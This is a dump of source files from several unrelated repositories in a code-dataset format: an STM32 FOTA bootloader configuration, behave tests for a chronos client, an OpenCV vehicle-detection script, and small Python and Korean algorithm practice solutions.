\t\"W25Q64\"\n\n#define STM32_FLASH_START_ADRESS_16K\t\t((uint32_t)0x08000000) /* Base @ of Sector 0, 16 Kbytes */\n#define FLASH_SIZE_GRANULARITY_16K\t\t\t(4 * 16 * 1024)\n\n#define STM32_FLASH_START_ADRESS_64K\t\t((uint32_t)0x08010000) /* Base @ of Sector 4, 64 Kbytes */\n#define FLASH_SIZE_GRANULARITY_64K\t\t\t(1 * 64 * 1024)\n\n#define STM32_FLASH_START_ADRESS_128K\t\t((uint32_t)0x08020000) /* Base @ of Sector 5, 128 Kbytes */\n#define FLASH_SIZE_GRANULARITY_128K\t\t\t(7 * 128 * 1024)\n\n/* ===================== Flash device Configuration ========================= */\nextern const struct fal_flash_dev stm32f4_onchip_flash;\nextern struct fal_flash_dev nor_flash0;\n\n/* flash device table */\n#define FAL_FLASH_DEV_TABLE \\\n{ \\\n &stm32f4_onchip_flash, \\\n &nor_flash0, \\\n}\n/* ====================== Partition Configuration ========================== */\n#ifdef FAL_PART_HAS_TABLE_CFG\n/* partition table */\n#define FAL_PART_TABLE \\\n{ \\\n {FAL_PART_MAGIC_WROD, \"app\", \"onchip_flash\", \t 128 * 1024, 896 * 1024, 0}, \\\n {FAL_PART_MAGIC_WROD, \"fm_area\", FAL_USING_NOR_FLASH_DEV_NAME, 0, 1024 * 1024, 0}, \\\n {FAL_PART_MAGIC_WROD, \"df_area\", FAL_USING_NOR_FLASH_DEV_NAME, 1024 * 1024, 1024 * 1024, 0}, \\\n}\n#endif\n\n#else\n\n#define FLASH_SIZE_GRANULARITY_16K (4 * 16 * 1024)\n#define FLASH_SIZE_GRANULARITY_64K (64 * 1024)\n#define FLASH_SIZE_GRANULARITY_128K (7 * 128 * 1024)\n\n#define STM32_FLASH_START_ADRESS_16K STM32_FLASH_START_ADRESS\n#define STM32_FLASH_START_ADRESS_64K (STM32_FLASH_START_ADRESS_16K + FLASH_SIZE_GRANULARITY_16K)\n#define STM32_FLASH_START_ADRESS_128K (STM32_FLASH_START_ADRESS_64K + FLASH_SIZE_GRANULARITY_64K)\n\nextern const struct fal_flash_dev stm32_onchip_flash_16k;\nextern const struct fal_flash_dev stm32_onchip_flash_64k;\nextern const struct fal_flash_dev stm32_onchip_flash_128k;\n\n/* flash device table */\n#define FAL_FLASH_DEV_TABLE \\\n{ \\\n &stm32_onchip_flash_16k, \\\n &stm32_onchip_flash_64k, \\\n &stm32_onchip_flash_128k, \\\n}\n/* ====================== Partition Configuration ========================== */\n#ifdef FAL_PART_HAS_TABLE_CFG\n\n/* partition table */\n#define FAL_PART_TABLE \\\n{ \\\n {FAL_PART_MAGIC_WROD, \"bootloader\", \"onchip_flash_16k\", 0 , FLASH_SIZE_GRANULARITY_16K , 0}, \\\n {FAL_PART_MAGIC_WROD, \"param\", \"onchip_flash_64k\", 0 , FLASH_SIZE_GRANULARITY_64K , 0}, \\\n {FAL_PART_MAGIC_WROD, \"app\", \"onchip_flash_128k\", 0 , FLASH_SIZE_GRANULARITY_128K, 0}, \\\n}\n\n#endif /* FAL_PART_HAS_TABLE_CFG */\n#endif /* _FAL_CFG_H_ */\n#endif\n" }, { "alpha_fraction": 0.667870044708252, "alphanum_fraction": 0.667870044708252, "avg_line_length": 17.46666717529297, "blob_id": "ed7bba27117a00f89446164d92c71576a32b37a7", "content_id": "a0d868164531cd9009aeb86c44ba7e6f262bd4a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 277, "license_type": "no_license", "max_line_length": 65, "num_lines": 15, "path": "/source/ota/SConscript", "repo_name": "freeman-m/FKF429-Bootloader", "src_encoding": "UTF-8", "text": "# RT-Thread building script for component\n\nfrom building import *\n\ncwd = GetCurrentDir()\nsrc = Glob('rt_fota.c')\nsrc += Glob('rt_fota_crc.c')\nCPPPATH = [cwd]\n\n#if GetDepend('BSP_USING_FOTA'):\n\n\ngroup = DefineGroup('ota', src, depend = [''], CPPPATH = CPPPATH)\n\nReturn('group')\n" }, { "alpha_fraction": 0.6013400554656982, "alphanum_fraction": 0.6365159153938293, "avg_line_length": 18.225807189941406, "blob_id": "11da077ed01f233107a4cfd2de17c5a39ffc998a", "content_id": "6cdd7a3e15362dd6226a740a13a722754d100f7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 597, "license_type": "no_license", "max_line_length": 56, "num_lines": 31, "path": "/applications/main.c", "repo_name": "freeman-m/FKF429-Bootloader", "src_encoding": "UTF-8", "text": "/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date Author Notes\n * 2018-12-18 zylx first version\n */\n\n#include <rtthread.h>\n#include <rtdevice.h>\n#include <board.h>\n\n#define\tLED0_PIN_NUM\tGET_PIN(G, 7)\n\nint main(void)\n{\n\trt_pin_mode(LED0_PIN_NUM, PIN_MODE_OUTPUT);\n\n\textern int finsh_set_prompt(const char * prompt);\n\n\t#if defined(RT_USING_FINSH) && defined(FINSH_USING_MSH)\n\tfinsh_set_prompt(\"rt-fota />\");\n\t#endif\n\n\textern void rt_fota_init(void);\n\trt_fota_init();\n \n return RT_EOK;\n}\n\n" }, { "alpha_fraction": 0.6446991562843323, "alphanum_fraction": 0.7521489858627319, "avg_line_length": 26.959999084472656, "blob_id": "c7fc9a31201b6fe3def6964cc1106dbf1e97ed84", "content_id": "2667d88f40a397f031e8c944705f734b91daf5e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1028, "license_type": "no_license", "max_line_length": 96, "num_lines": 25, "path": "/README.md", "repo_name": "freeman-m/FKF429-Bootloader", "src_encoding": "UTF-8", "text": "# FK429 FOTA Bootloader\n\n**FK-F429ๅผ€ๅ‘ๆฟ็กฌไปถ**\n- MCU๏ผšSTM32F429BIT6๏ผŒไธป้ข‘ 180MHz๏ผŒ2048KB FLASH ๏ผŒ256KB RAM (SRAM1:64K SRAM2:16K SRAM3:64K CCMRAM:64K)\n- ๅค–้ƒจ RAM๏ผšW9812G2๏ผˆSDRAM๏ผŒ16MB๏ผŒ32bit๏ผ‰(bootloaderๆœชไฝฟ็”จ)\n- ๅค–้ƒจ FLASH๏ผšW25Q64(BVSSIG)๏ผˆSPI๏ผŒ8MB๏ผ‰\n- ๅธธ็”จๅค–่ฎพ\n - LED๏ผšPD12\n - ๆŒ‰้”ฎ๏ผšPI8\n- ๅธธ็”จๆŽฅๅฃ๏ผšUART(PA9 PA10)\n- ่ฐƒ่ฏ•ๆŽฅๅฃ๏ผšSWD\n\n**FOTA Bootloaderๅฎž็ŽฐๅŠŸ่ƒฝ**\n- ๅŸบไบŽRT-Thread-v4.0.2็งปๆค\n- spi flashๅญ˜ๅœจdf_areaๅ’Œfm_areaไธคไธชๅˆ†ๅŒบ\n- ๆ”ฏๆŒ้€š่ฟ‡ymodemไผ ้€ๆ•ฐๆฎๅˆฐspi flash\n- ๆ”ฏๆŒRTTๅฎ˜ๆ–น็š„RBLๆ‰“ๅŒ…่ฝฏไปถ๏ผŒไฝฟ็”จๆ–นๅผไนŸไธ€่‡ดใ€‚็›ฎๅ‰ๆ”ฏๆŒๅŒ…ๆ‹ฌCRC32ใ€AES256ใ€quicklzๅ’ŒfastlzๅŠŸ่ƒฝ\n- ๆ”ฏๆŒๅ‘ฝไปค่กŒๆจกๅผ๏ผˆFINSH็ป„ไปถ๏ผ‰ๅ’Œๅ‡บๅŽ‚ๅ›บไปถๆขๅค\n- ๆ”ฏๆŒFLASHๅˆ†ๅŒบ๏ผˆFAL็ป„ไปถ๏ผ‰\n\n**ๆ„Ÿ่ฐขRTT่ฎบๅ›็š„Spunkyๅคง็ฅž**\n- ๆญค็‰ˆๆœฌๆ˜ฏๅŸบไบŽๅŽŸไฝœ่€…ๆบ็ ็งปๆคๅˆฐFK-F429ๅผ€ๅ‘ๆฟไธŠ\n- ๅ…ทไฝ“ไฝฟ็”จๆ–นๅผๅฏๅ‚่€ƒ[ๅŽŸ่ดดๅœฐๅ€](https://www.rt-thread.org/qa/thread-422812-1-1.html)\n\n- [GitHub](https://github.com/freeman-m/FKF429-Bootloader), ้‚ฎ็ฎฑ๏ผš<[email protected]>" } ]
5
Rob-Johnson/chronos-python
https://github.com/Rob-Johnson/chronos-python
2d170245b402c85dccfd5e043cb821c644af72f6
9dfc8dd2871a502d3f8b4a83821bf459bf1259b4
208a2db6aa2912c34c269c8b50355449f894b618
refs/heads/master
2021-01-18T06:25:48.548418
2015-08-27T18:48:59
2015-08-27T18:48:59
41,155,292
0
0
null
2015-08-21T12:47:15
2015-08-12T21:20:35
2015-08-13T02:55:31
null
[ { "alpha_fraction": 0.6434426307678223, "alphanum_fraction": 0.6607468128204346, "avg_line_length": 28.675676345825195, "blob_id": "f58bf8ccc744947060a3097806a580008f02c12c", "content_id": "9f86f07973e0077134bce486e8b0f6e62608a11c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2196, "license_type": "permissive", "max_line_length": 74, "num_lines": 74, "path": "/itests/steps/chronos_steps.py", "repo_name": "Rob-Johnson/chronos-python", "src_encoding": "UTF-8", "text": "import sys\nimport logging\n\nimport chronos\nfrom behave import given, when, then\n\nfrom itest_utils import get_chronos_connection_string\n\nsys.path.append('../')\n\nlog = logging.getLogger('chronos')\nlog.addHandler(logging.StreamHandler(sys.stdout))\nlog.setLevel(logging.DEBUG)\n\n\n@given('a working chronos instance')\ndef working_chronos(context):\n \"\"\"Adds a working chronos client as context.client for the purposes of\n interacting with it in the test.\"\"\"\n if not hasattr(context, 'client'):\n chronos_connection_string = get_chronos_connection_string()\n context.client = chronos.connect(chronos_connection_string)\n\n\n@when(u'we create a trivial chronos job')\ndef create_trivial_chronos_job(context):\n job = {\n 'async': False,\n 'command': 'echo 1',\n 'epsilon': 'PT15M',\n 'name': 'test_chronos_job',\n 'owner': '',\n 'disabled': True,\n 'schedule': 'R/2014-01-01T00:00:00Z/PT60M',\n }\n context.client.add(job)\n\n\n@then(u'we should be able to see it when we list jobs')\ndef list_chronos_jobs_has_trivial_job(context):\n jobs = context.client.list()\n job_names = [job['name'] for job in jobs]\n assert 'test_chronos_job' in job_names\n\n\n@when(u'we create a chronos job with spaces')\ndef create_job_with_spaces(context):\n job = {\n 'async': False,\n 'command': 'echo 1',\n 'epsilon': 'PT15M',\n 'name': 'test chronos job with spaces',\n 'owner': '',\n 'disabled': True,\n 'schedule': 'R/2014-01-01T00:00:00Z/PT60M',\n }\n context.client.add(job)\n\n@then(u'we should be able to see the job with spaces when we list jobs')\ndef list_chronos_jobs_has_trivial_job(context):\n jobs = context.client.list()\n job_names = [job['name'] for job in jobs]\n assert 'test chronos job with spaces' in job_names\n\n@then(u'we should be able to delete it')\ndef delete_job_with_spaces(context):\n context.client.delete(\"test chronos job with spaces\")\n\n\n@then(u'we should not be able to see it when we list jobs')\ndef not_see_job_with_spaces(context):\n jobs = context.client.list()\n job_names = [job['name'] for job in jobs]\n assert \"test chronos job with spaces\" not in job_names\n" } ]
1
SantosVision/Vehicle-Detection
https://github.com/SantosVision/Vehicle-Detection
b4eaa5d9069e985f551c29bc790ebd34944ecacc
220f9743488a4c0166282aed46c79805559928c4
25f2bde7c768ad3b80eb0f51c343738172444821
refs/heads/master
2022-12-08T18:55:27.340024
2020-08-29T18:03:28
2020-08-29T18:03:28
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5396396517753601, "alphanum_fraction": 0.569369375705719, "avg_line_length": 23.66666603088379, "blob_id": "bb6c8b0b1bf0e8331b2191784880f8bd60830ae5", "content_id": "e2d79fa4c7852eb19491829da73be037ac9f7576", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1110, "license_type": "permissive", "max_line_length": 84, "num_lines": 45, "path": "/Vehicle.py", "repo_name": "SantosVision/Vehicle-Detection", "src_encoding": "UTF-8", "text": "import cv2\nimport numpy as np\n'''\nVehicle VehicleDetection\n\nBy Anell Santos\n'''\n\ncars_cascade = cv2.CascadeClassifier('C:FILE PATH HERE/car.xml')\n\n\ndef detect_cars(frame):\n cars = cars_cascade.detectMultiScale(frame, 1.15, 4)\n for (x, y, w, h) in cars:\n cv2.rectangle(frame, (x, y), (x + w, y + h), color=(0, 255, 0), thickness=2)\n if np.array(frame.all()) == frame.all():\n print('Vehicle')\n\n font = cv2.FONT_HERSHEY_SIMPLEX\n name = 'Vehicle'\n color = (255, 255, 255)\n stroke = 2\n cv2.putText(frame, name, (x, y), font, 1, color, stroke, cv2.LINE_AA)\n return frame\n\n\ndef Simulator():\n CarVideo = cv2.VideoCapture('Your vehicle mp4 video file path HERE')\n while CarVideo.isOpened():\n ret, frame = CarVideo.read()\n controlkey = cv2.waitKey(1)\n if ret:\n cars_frame = detect_cars(frame)\n cv2.imshow('frame', cars_frame)\n else:\n break\n if controlkey == ord('q'):\n break\n\n CarVideo.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n Simulator()\n" }, { "alpha_fraction": 0.5602409839630127, "alphanum_fraction": 0.5692771077156067, "avg_line_length": 18.47058868408203, "blob_id": "717e6ca334457b0d01f6050129d4f17ef2b4560e", "content_id": "134704a97b447e8146f55e5a1f928372ddb514ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 332, "license_type": "permissive", "max_line_length": 88, "num_lines": 17, "path": "/README.md", "repo_name": "SantosVision/Vehicle-Detection", "src_encoding": "UTF-8", "text": "## Vehicle detection\n\nBy Anell Santos\n\nrequierements:\n\n-[Python] --version >= 3.6\n\n-[Pandas]\n\n-[Numpy]\n\n---------------------------------------------------------------\n\nMake sure to have a video mp4 formated and input the right path to the video.\n\nThen you're ready to run the program as it is. It has been packaged to be plug and play. \n" } ]
2
SangeethaSali13/PROGRAMMINGLAB-SANGEETHASALI
https://github.com/SangeethaSali13/PROGRAMMINGLAB-SANGEETHASALI
422bccdb77dbb9139527892a11de83f37b3baa67
59a047aa570c1e2fe56cd6fabaf284dbd88eac78
c8245c6d8d01d8144f4bccf527970d634b49e39c
refs/heads/main
2023-03-07T12:51:19.697655
2021-02-16T16:01:22
2021-02-16T16:01:22
330,135,483
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5548387169837952, "alphanum_fraction": 0.5612903237342834, "avg_line_length": 37.25, "blob_id": "a39b0e05f89118e962cc7bcabe52ebd0240f790f", "content_id": "ab26452a4d76187f765f3b2f6e9ed276213711c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 155, "license_type": "no_license", "max_line_length": 86, "num_lines": 4, "path": "/CO1 pg3c.py", "repo_name": "SangeethaSali13/PROGRAMMINGLAB-SANGEETHASALI", "src_encoding": "UTF-8", "text": "words = ['apple', 'orange', 'pear', 'milk', 'otter', 'snake','iguana','tiger','eagle']\r\nfor word in words:\r\n if word[0] in 'aeiou':\r\n print(word)" }, { "alpha_fraction": 0.46666666865348816, "alphanum_fraction": 0.5866666436195374, "avg_line_length": 23.66666603088379, "blob_id": "3447445575bdf9e4834d088756603c2c3258ea5e", "content_id": "f7f4f9f10f4b3f14c05321f3d50552a7d53a0eb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 75, "license_type": "no_license", "max_line_length": 29, "num_lines": 3, "path": "/CO2 pg 3.py", "repo_name": "SangeethaSali13/PROGRAMMINGLAB-SANGEETHASALI", "src_encoding": "UTF-8", "text": "list= [11, 5, 17, 18, 23]\r\ntotal = sum(list)\r\nprint(\"Sum of list: \", total)" }, { "alpha_fraction": 0.39393940567970276, "alphanum_fraction": 0.4727272689342499, "avg_line_length": 24.799999237060547, "blob_id": "70c8d04d84ceafb2704a9308e730c5ccee7125a3", "content_id": "e9ac2e8512b3d0404de541b41d8923c0caf4deb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 165, "license_type": "no_license", "max_line_length": 47, "num_lines": 5, "path": "/CO1 pg3a.py", "repo_name": "SangeethaSali13/PROGRAMMINGLAB-SANGEETHASALI", "src_encoding": "UTF-8", "text": "list = [10,-20,30,-40,50,-60] \r\n \r\nresult = [num for num in list if num >= 0] \r\n \r\nprint(\"Positive numbers in the list: \", result) \r\n\r\n \r\n \r\n \r\n\r\n" }, { "alpha_fraction": 0.5341615080833435, "alphanum_fraction": 0.5776397585868835, "avg_line_length": 21.285715103149414, "blob_id": "1556cdc7a3c86ae5fe12dc3cc400081dc320cecc", "content_id": "05c286aa378c465ceb14ad8d36c05d0a6abcbd45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 161, "license_type": "no_license", "max_line_length": 47, "num_lines": 7, "path": "/CO1 pg20.py", "repo_name": "SangeethaSali13/PROGRAMMINGLAB-SANGEETHASALI", "src_encoding": "UTF-8", "text": "list = [1,4,7,8,9]\r\nprint( \"Original list:\",list)\r\n\r\nfor i in list:\r\n if(i%2 == 0):\r\n list.remove(i)\r\nprint(\"list after removing Even numbers:\",list)" } ]
4
gestirn717/Practice
https://github.com/gestirn717/Practice
fcac797e2bd4ffc9bf9122a1fadff22cf932b266
facbfa6612326cc791f0efd2ea5b2c6fdba58fa7
5cf059b8f6ffe0746a60434f81a927d9483b49bd
refs/heads/main
2023-05-31T03:13:34.203925
2021-07-03T07:33:11
2021-07-03T07:33:11
378,796,683
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.44851258397102356, "alphanum_fraction": 0.4874141812324524, "avg_line_length": 17.913043975830078, "blob_id": "10f944b5bdf5a2cf61a15c77201544c99171ec15", "content_id": "1a0afb3da16a3519a1db0d244ce0851d27bae5a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 639, "license_type": "no_license", "max_line_length": 46, "num_lines": 23, "path": "/math1/test_10250_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "\n\n# ์ž…๋ ฅ t ๊ฐœ์˜ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค\n# h = ์ธต์ˆ˜ / w = ์ธต๋‹น ๊ฐ์‹ค ๊ฐฏ์ˆ˜ / n = ์†๋‹˜๋ฒˆํ˜ธ \n# ์†๋‹˜์€ ์•„๋ž˜์ธต, 1ํ˜ธ๋ผ์ธ์— ๊ฐ€๊นŒ์šด๊ฑธ ์„ ํ˜ธ\n\n\n# 1. for ๋ฌธ ์•ˆ์—์„œ ์‹คํ–‰\n# 2. ๊ฐ ์ •๋ณด๋“ค ์ž…๋ ฅ๋ฐ›์•„\n# 3. ์นด์šดํ„ฐ ๋„ฃ๊ณ  ์ด์ค‘ ํฌ๋ฌธ (1ํ˜ธ์—์„œ ๋†’์ด๋งŒ ๋ณ€ํ•˜๊ณ  2ํ˜ธ์—์„œ ๋†’์ด๋งŒ ๋ณ€ํ•˜๊ณ )\n# 4. if ๋ฌธ์œผ๋กœ ์นด์šดํ„ฐ๊ฐ€ ์ž…๋ ฅ๋ฐ›์€ ํ˜ธ์‹ค ๋ ๋•Œ๊นŒ์ง€ +1 ์‹คํ–‰ํ•˜๋„๋ก \n\n\n\nT = int(input())\n\nfor i in range(T):\n H,W,N = map(int,input().split())\n \n room = 0\n for w in range(1,W+1):\n for h in range(1,H+1):\n room += 1\n if room == N:\n print(h*100 + w)\n" }, { "alpha_fraction": 0.5571428537368774, "alphanum_fraction": 0.5657142996788025, "avg_line_length": 14.17391300201416, "blob_id": "d42b5299bd24775253d4df327255caa751316243", "content_id": "b78ce730e6749497c46db87e64b3fa9063755e3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "no_license", "max_line_length": 60, "num_lines": 23, "path": "/while&def/test_10951_while.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "#์˜ˆ์™ธ์ฒ˜๋ฆฌ\n\n# ๋‘ ์ •์ˆ˜ A์™€ B๋ฅผ ์ž…๋ ฅ๋ฐ›์€ ๋‹ค์Œ, A+B๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ž…๋ ฅ์€ ์—ฌ๋Ÿฌ ๊ฐœ์˜ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.\n\n# ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋Š” ํ•œ ์ค„๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ์œผ๋ฉฐ, ๊ฐ ์ค„์— A์™€ B๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. (0 < A, B < 10)\n\n# ์ถœ๋ ฅ\n# ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋งˆ๋‹ค A+B๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# import sys\n\n# for i in sys.stdin:\n# print(sum(map(int,i.split())))\n\n\nwhile True:\n try:\n print(sum(map(int,input().split())))\n except:\n break\n\n" }, { "alpha_fraction": 0.46950000524520874, "alphanum_fraction": 0.4884999990463257, "avg_line_length": 17.70093536376953, "blob_id": "42d0c3725b88979ffc1d028f77641177b0de854d", "content_id": "fd53b390965b8030af2e3abf4261432289f86294", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2974, "license_type": "no_license", "max_line_length": 176, "num_lines": 107, "path": "/str/test_1316_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ๊ทธ๋ฃน ๋‹จ์–ด๋ž€ ๋‹จ์–ด์— ์กด์žฌํ•˜๋Š” ๋ชจ๋“  ๋ฌธ์ž์— ๋Œ€ํ•ด์„œ, ๊ฐ ๋ฌธ์ž๊ฐ€ ์—ฐ์†ํ•ด์„œ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒฝ์šฐ๋งŒ์„ ๋งํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด, ccazzzzbb๋Š” c, a, z, b๊ฐ€ ๋ชจ๋‘ ์—ฐ์†ํ•ด์„œ ๋‚˜ํƒ€๋‚˜๊ณ , kin๋„ k, i, n์ด ์—ฐ์†ํ•ด์„œ ๋‚˜ํƒ€๋‚˜๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ๋ฃน ๋‹จ์–ด์ด์ง€๋งŒ, aabbbccb๋Š” b๊ฐ€ ๋–จ์–ด์ ธ์„œ ๋‚˜ํƒ€๋‚˜๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ๋ฃน ๋‹จ์–ด๊ฐ€ ์•„๋‹ˆ๋‹ค.\n\n# ๋‹จ์–ด N๊ฐœ๋ฅผ ์ž…๋ ฅ์œผ๋กœ ๋ฐ›์•„ ๊ทธ๋ฃน ๋‹จ์–ด์˜ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๋‹จ์–ด์˜ ๊ฐœ์ˆ˜ N์ด ๋“ค์–ด์˜จ๋‹ค. N์€ 100๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์ž์—ฐ์ˆ˜์ด๋‹ค. ๋‘˜์งธ ์ค„๋ถ€ํ„ฐ N๊ฐœ์˜ ์ค„์— ๋‹จ์–ด๊ฐ€ ๋“ค์–ด์˜จ๋‹ค. ๋‹จ์–ด๋Š” ์•ŒํŒŒ๋ฒณ ์†Œ๋ฌธ์ž๋กœ๋งŒ ๋˜์–ด์žˆ๊ณ  ์ค‘๋ณต๋˜์ง€ ์•Š์œผ๋ฉฐ, ๊ธธ์ด๋Š” ์ตœ๋Œ€ 100์ด๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๊ทธ๋ฃน ๋‹จ์–ด์˜ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 3\n# happy\n# new\n# year\n\n# ์˜ˆ์ œ ์ถœ๋ ฅ \n# 3\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 4\n# aba\n# abab\n# abcabc\n# a\n\n# ์˜ˆ์ œ ์ถœ๋ ฅ\n# 1\n\n# 1. ํ…Œ์ŠคํŠธ์ผ€์ด์Šค ํšŸ์ˆ˜ ์ž…๋ ฅ๋ฐ›๊ธฐ\n# 2. ๊ทธ๋ฃน๋‹จ์–ด ๊ฐฏ์ˆ˜ ์นด์šดํ„ฐ\n# 3. for๋ฌธ (ํšŸ์ˆ˜) ๋Œ๋ฆฌ๊ธฐ\n# 4. ๋ฌธ์ž ์ž…๋ ฅ๋ฐ›๊ธฐ\n# 5. ๋ฆฌ์ŠคํŠธ ๋งŒ๋“ค๊ธฐ\n# 6. for๋ฌธ - ์ž…๋ ฅ๋ฐ›์€ ๋ฌธ์ž์—ด์˜ ๊ธธ์ด \n# 7. ๋ฆฌ์ŠคํŠธ์•ˆ์— ๋ฌธ์ž์—ด์˜ ์ธ๋ฑ์Šค(๋ฌธ์ž)๊ฐ€ ์—†์œผ๋ฉด ๋ฆฌ์ŠคํŠธ์— ์ถ”๊ฐ€\n# 8. ๋ฆฌ์ŠคํŠธ ๋งˆ์ง€๋ง‰ ๋ฌธ์ž์™€ ์ž…๋ ฅ๋ฐ›์€ ๋ฌธ์ž๊ฐ€ ๊ฐ™์œผ๋ฉด ์ปจํ‹ฐ๋‰ด \n\n# t = int(input()) #ํ…Œ์ŠคํŠธ์ผ€์ด์Šค\n# count = 0 #๊ทธ๋ฃน๋‹จ์–ด ๊ฐฏ์ˆ˜ ์นด์šดํ„ฐ\n\n# for i in range(t):\n\n# s = input(); #๋ฌธ์ž์—ด์ž…๋ ฅ\n# arr = []\n\n# flag = 1\n# for i in range(len(s)):\n# if s[i] not in arr:\n# arr.append(s[i])\n# else:\n# #์ฒดํฌํ•ด์•ผํ•จ...\n# if arr[-1] == s[i]: #๊ฐ™์€ ๋ฌธ์ž๊ฐ€ ์—ฐ์†๋˜๋ฏ€๋กœ continue\n# continue;\n# else: #์ƒˆ๋กœ์šด ๋ฌธ์ž\n# flag = 0\n# break;\n\n# if flag == 1:\n# count += 1\n\n# print(count)\n\n\n\n# 1. ํ…Œ์ŠคํŠธ์ผ€์ด์Šค ํšŸ์ˆ˜ ์ž…๋ ฅ๋ฐ›๊ธฐ\n# 2. ๊ทธ๋ฃน๋‹จ์–ด ๊ฐฏ์ˆ˜ ์นด์šดํ„ฐ\n# \n# ์ž…๋ ฅ ๋ฐ›์€ ๋‹จ์–ด ์•ž์—์„œ๋ถ€ํ„ฐ ์ฐจ๋ก€๋กœ ๋‹ค์Œ ๊ธ€์ž์™€ ๋น„๊ต / ์ผ์น˜ํ•˜๋ฉด pass, ๋‹ค์Œ ๊ธ€์ž๋ฅผ ๋น„๊ต\n# ๋ชจ๋‘ pass ๋˜๋ฉด ๋งจ ๋งˆ์ง€๋ง‰์€ j = len(word)-1 \n\nnum = int(input())\ncount = 0\n\nfor i in range(num):\n word = input()\n\n for j in range(len(word)):\n if j != len(word)-1:\n\n if word[j] == word[j+1]: #๋‹ค์Œ ๊ธ€์ž์™€ ์ผ์น˜ํ•˜๋ฉด ํŒจ์Šค\n pass\n elif word[j] in word[j+1: ]: #๋‹ค์Œ ๊ธ€์ž๋ถ€ํ„ฐ ๋๊นŒ์ง€ ์ค‘์— ๊ฐ™์€ ๊ธ€์ž๊ฐ€ ๋‚˜์˜ค๋ฉด ๋ฉˆ์ถค\n break\n else: #๋ฉˆ์ถค์—†์ด passํ•˜๋ฉด ์นด์šดํ„ฐ์— 1์ถ”๊ฐ€\n count += 1\nprint(count)\n\n\n# t_case = int(input())\n# cnt = 0\n# for i in range(t_case):\n# w = list(str(input()))\n \n \n# for j in range(len(w)):\n# if j != len(w) - 1: #๋งˆ์ง€๋ง‰์ด ์•„๋‹๋•Œ \n# if w[j] == w[j+1]:\n# pass\n# elif w[j] in w[j+1: ]:\n# break\n\n\n# else:\n# cnt += 1\n# print(cnt)" }, { "alpha_fraction": 0.4511041045188904, "alphanum_fraction": 0.4984227120876312, "avg_line_length": 14.354838371276855, "blob_id": "e0ac1a4a3a2d9e4b15c9efc0933be70fa2980eed", "content_id": "04b1a9161986f0fef6160a8ff0ec68e8d2e777f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1557, "license_type": "no_license", "max_line_length": 70, "num_lines": 62, "path": "/math1/test_2839_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์ƒ๊ทผ์ด๋Š” ์š”์ฆ˜ ์„คํƒ•๊ณต์žฅ์—์„œ ์„คํƒ•์„ ๋ฐฐ๋‹ฌํ•˜๊ณ  ์žˆ๋‹ค. \n# ์ƒ๊ทผ์ด๋Š” ์ง€๊ธˆ ์‚ฌํƒ•๊ฐ€๊ฒŒ์— ์„คํƒ•์„ ์ •ํ™•ํ•˜๊ฒŒ Nํ‚ฌ๋กœ๊ทธ๋žจ์„ ๋ฐฐ๋‹ฌํ•ด์•ผ ํ•œ๋‹ค. \n# ์„คํƒ•๊ณต์žฅ์—์„œ ๋งŒ๋“œ๋Š” ์„คํƒ•์€ ๋ด‰์ง€์— ๋‹ด๊ฒจ์ ธ ์žˆ๋‹ค. ๋ด‰์ง€๋Š” 